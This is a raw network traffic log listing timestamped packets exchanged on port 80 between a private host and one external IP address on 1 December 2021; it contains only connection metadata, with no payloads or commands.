Dec 1, 2021 09:14:19.613090992 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613096952 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613109112 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613118887 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613127947 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613145113 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613158941 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613161087 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613178968 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613195896 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613212109 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613212109 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613228083 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613245010 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613255978 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613261938 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613264084 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613280058 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613292933 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613297939 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613315105 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613327980 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613332987 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613351107 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613369942 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613387108 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613387108 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613403082 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613420010 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613434076 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613436937 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613440990 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613454103 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613471031 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613480091 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613487005 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613503933 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613521099 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613522053 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613538027 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613554955 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613563061 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613569021 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613571882 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613590002 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613607883 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613610983 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613622904 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613642931 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613651037 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613666058 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613683939 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613694906 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613701105 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613719940 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613732100 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613737106 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613744974 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613755941 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613773108 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613782883 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613790989 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613807917 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613823891 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613828897 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613841057 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613857985 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613873959 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613876104 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613887072 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613888025 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613903999 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613920927 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613926888 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613938093 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613951921 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.613955021 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613974094 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.613989115 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614007950 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614010096 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614025116 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614041090 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614049911 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614057064 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614062071 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614078999 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614097118 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614097118 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614115000 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614130020 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614146948 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614147902 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614159107 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614166021 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614181995 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614201069 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614202023 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614221096 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614232063 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614237070 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614254951 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614273071 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614278078 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614290953 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614298105 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614306927 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614322901 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614340067 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614348888 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614356995 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614375114 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614379883 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614392996 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614403963 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614408970 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614428043 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614445925 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614450932 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614463091 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614478111 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614480019 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614497900 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614515066 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614517927 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614531994 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614537954 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614550114 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614567041 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614583969 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614584923 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614599943 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614618063 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614620924 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614634991 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614648104 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614653111 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614671946 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614687920 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614690065 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614707947 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614716053 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614726067 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614742994 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614756107 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614761114 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614777088 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614792109 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614794016 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614811897 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614825010 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614828110 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614845037 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614864111 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614866018 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614880085 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614886999 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614897013 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614912987 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614928007 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614933014 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614950895 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614964008 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.614965916 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.614984035 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.615000010 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.615036011 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.634269953 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.634310007 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.634365082 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.639904022 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.672426939 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672465086 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672489882 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672513008 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672539949 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672563076 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672580004 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672597885 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672617912 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672635078 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.672642946 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672668934 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672694921 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672719002 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672744036 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672745943 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.672770023 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672796011 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672811031 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.672822952 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672825098 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.672861099 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672885895 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.672892094 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672919989 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672925949 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.672945023 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672955990 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.672971010 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.672996044 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673017979 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673018932 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673046112 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673070908 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673094988 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673105955 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673116922 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673121929 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673147917 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673172951 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673172951 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673198938 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673214912 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673224926 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673250914 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673264980 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673278093 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673302889 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673322916 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673322916 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673343897 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673365116 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673377991 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673384905 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673408031 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673415899 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673434973 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673460960 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673464060 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673485041 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673506975 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673516035 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673531055 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673557043 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673557043 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673583031 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673609018 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673619986 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673635006 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673660994 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673667908 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673686981 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673712015 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673733950 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673734903 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673768997 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673795938 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673814058 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673818111 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673821926 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673841953 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673866034 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673870087 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673890114 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673908949 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673918962 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673943996 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673968077 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.673983097 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.673995018 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674005985 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674021959 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674047947 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674071074 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674072981 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674099922 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674124956 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674150944 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674158096 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674176931 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674205065 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674212933 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674222946 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674231052 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674256086 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674277067 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674280882 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674307108 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674324989 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674330950 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674344063 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674359083 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674386978 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674390078 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674412966 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674432993 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674436092 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674463034 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674479961 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674488068 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674514055 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674532890 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674539089 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674566031 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674586058 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674592018 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674618959 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674633026 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674643993 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674671888 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674690008 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674707890 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674731970 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674753904 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674755096 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674782038 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674796104 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674806118 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674833059 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674848080 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674858093 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674885035 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674901009 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674907923 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674933910 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674951077 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.674957991 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674983978 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.674999952 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.675009966 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.675035954 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.675054073 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.675059080 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.675084114 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.675098896 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.675110102 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.675134897 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.675152063 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.675158978 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.675184965 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.675199986 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.675209045 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.675235033 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.675252914 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.675260067 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.675287008 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.675301075 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.675312996 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.675337076 CET	80	49795	95.213.165.249	192.168.2.4
